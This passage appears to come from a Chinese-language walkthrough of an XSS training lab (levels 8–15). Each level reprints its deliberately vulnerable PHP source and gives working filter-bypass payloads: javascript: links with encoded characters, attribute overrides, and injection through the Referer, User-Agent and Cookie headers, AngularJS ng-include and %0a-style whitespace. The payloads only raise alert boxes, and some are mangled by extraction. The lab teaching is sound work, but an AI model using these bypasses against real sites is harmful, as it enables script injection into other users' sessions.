1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]);$str2 =str_replace ("script" ,"scr_ipt" ,$str );$str3 =str_replace ("on" ,"o_n" ,$str2 );$str4 =str_replace ("src" ,"sr_c" ,$str3 );$str5 =str_replace ("data" ,"da_ta" ,$str4 );$str6 =str_replace ("href" ,"hr_ef" ,$str5 );$str7 =str_replace ('"' ,'"' ,$str6 );echo '<center> <form action=level8.php method=GET> <input name=keyword value="' .htmlspecialchars ($str ).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>' ;?> <?php echo '<center><BR><a href="' .$str7 .'">友情链接</a></center>' ;?>
有两个输出的地方,第一个使用了htmlspecialchars()函数进行 HTML 实体化,不能绕过了,第二个部分没有过滤,而且还是在href中的,可以使用 javascript 伪协议来绕过,不过过滤了script,并且不是替换为空,但是可以进行 HTML 编码绕过,将t编码为t
payload1:
1 javascript:alert ('XSS' )
payload2:
可以将Tab键或者回车键编码绕过
1 javascrip	t :alert ('XSS' )
1 javascrip
t :alert ('XSS' )
第9关:阅读源码 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]);$str2 =str_replace ("script" ,"scr_ipt" ,$str );$str3 =str_replace ("on" ,"o_n" ,$str2 );$str4 =str_replace ("src" ,"sr_c" ,$str3 );$str5 =str_replace ("data" ,"da_ta" ,$str4 );$str6 =str_replace ("href" ,"hr_ef" ,$str5 );$str7 =str_replace ('"' ,'"' ,$str6 );echo '<center> <form action=level9.php method=GET> <input name=keyword value="' .htmlspecialchars ($str ).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>' ;?> <?php if (false ===strpos ($str7 ,'http://' )) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>' ; }else { echo '<center><BR><a href="' .$str7 .'">友情链接</a></center>' ; }?>
在上一关的基础上多使用strpos()函数检查keyword中是否存在http://,所以只要在最后//后加上即可
payload:
1 javascript:alert ('XSS' )
第10关:覆盖元素属性 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str11 = $_GET ["t_sort" ];$str22 =str_replace (">" ,"" ,$str11 );$str33 =str_replace ("<" ,"" ,$str22 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form id=search> <input name="t_link" value="' .'" type="hidden"> <input name="t_history" value="' .'" type="hidden"> <input name="t_sort" value="' .$str33 .'" type="hidden"> </form> </center>' ;?>
keyword被过滤的不太能绕过了,不过还有个 GET 参数t_sort,只过滤了尖括号,然后就直接输出到input标签中,不过后面使用了type="hidden"将输入框隐藏起来,可以手动赋值type覆盖掉,也可以 F12 手动删掉hidden
payload1:
1 /level10.php?keyword =233&t_sort=" type ="" onclick =alert('XSS') //
然后点一下输入框即可
payload2:
1 /level10.php?keyword =233&t_sort="onclick=alert('XSS') //
F12查看元素,找到后删去hidden再点输入框
第11关:HTTP Referer 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str00 = $_GET ["t_sort" ];$str11 =$_SERVER ['HTTP_REFERER' ];$str22 =str_replace (">" ,"" ,$str11 );$str33 =str_replace ("<" ,"" ,$str22 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form id=search> <input name="t_link" value="' .'" type="hidden"> <input name="t_history" value="' .'" type="hidden"> <input name="t_sort" value="' .htmlspecialchars ($str00 ).'" type="hidden"> <input name="t_ref" value="' .$str33 .'" type="hidden"> </form> </center>' ;?>
keyword和t_sort都严格过滤了,不能绕过,但是发现还有个$str11=$_SERVER['HTTP_REFERER'];,只是过滤了尖括号,然后就直接输出了,所以可以添加请求头Referer写入payload,同样也是要覆盖元素
payload:
1 Referer : " type=" " onclick=alert('XSS') //
第12关:HTTP User-Agent 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str00 = $_GET ["t_sort" ];$str11 =$_SERVER ['HTTP_USER_AGENT' ];$str22 =str_replace (">" ,"" ,$str11 );$str33 =str_replace ("<" ,"" ,$str22 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form id=search> <input name="t_link" value="' .'" type="hidden"> <input name="t_history" value="' .'" type="hidden"> <input name="t_sort" value="' .htmlspecialchars ($str00 ).'" type="hidden"> <input name="t_ua" value="' .$str33 .'" type="hidden"> </form> </center>' ;?>
和上题差不多,改成在 User-Agent 就行
payload:
1 User-Agent: " type="" onclick=alert('XSS' )
第13关:HTTP Cookie 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php setcookie ("user" , "call me maybe?" , time ()+3600 );ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str00 = $_GET ["t_sort" ];$str11 =$_COOKIE ["user" ];$str22 =str_replace (">" ,"" ,$str11 );$str33 =str_replace ("<" ,"" ,$str22 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form id=search> <input name="t_link" value="' .'" type="hidden"> <input name="t_history" value="' .'" type="hidden"> <input name="t_sort" value="' .htmlspecialchars ($str00 ).'" type="hidden"> <input name="t_cook" value="' .$str33 .'" type="hidden"> </form> </center>' ;?>
改成 Cookie 里的user
payload:
1 Cookie: user=" type=" " onclick=alert(' XSS')
第14关:AngularJS ng-include 指令 源码:
1 2 3 4 5 6 7 <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js" ></script><?php ini_set ("display_errors" , 0 );$str = $_GET ["src" ];echo '<body><span class="ng-include:' .htmlspecialchars ($str ).'"></span></body>' ;?>
这题考的是Angular JS 的 ng-include 用法
参考资料:https://www.runoob.com/angularjs/ng-ng-include.html
所以这里可以包含其他关的页面来触发弹窗
payload:
1 /level14.php?src='level1.php?name=<img src =x onerror =alert(123) > ''
不过不知道为什么我没有成功弹出窗口)
第15关:过滤空格 源码:
1 2 3 4 5 6 7 8 9 <?php ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]);$str2 =str_replace ("script" ," " ,$str );$str3 =str_replace (" " ," " ,$str2 );$str4 =str_replace ("/" ," " ,$str3 );$str5 =str_replace (" " ," " ,$str4 );echo "<center>" .$str5 ."</center>" ;?>
过滤了空格,可以用以下的代替绕过:
符号
URL 编码
回车
%0d
换行
%0a
换页
%0c
payload:
1 /level15 .php?keyword= <img%0 dsrc= x %0 donerror= alert('XSS')>
1 /level15 .php?keyword= <img%0 asrc= x %0 aonerror= alert('XSS')>
1 /level15 .php?keyword= <img%0 csrc= x %0 conerror= alert('XSS')>
XSS 实战攻击思路 看国光写的文章:https://www.sqlsec.com/2020/10/xss2.html#%E6%94%BB%E5%87%BB%E6%80%9D%E8%B7%AF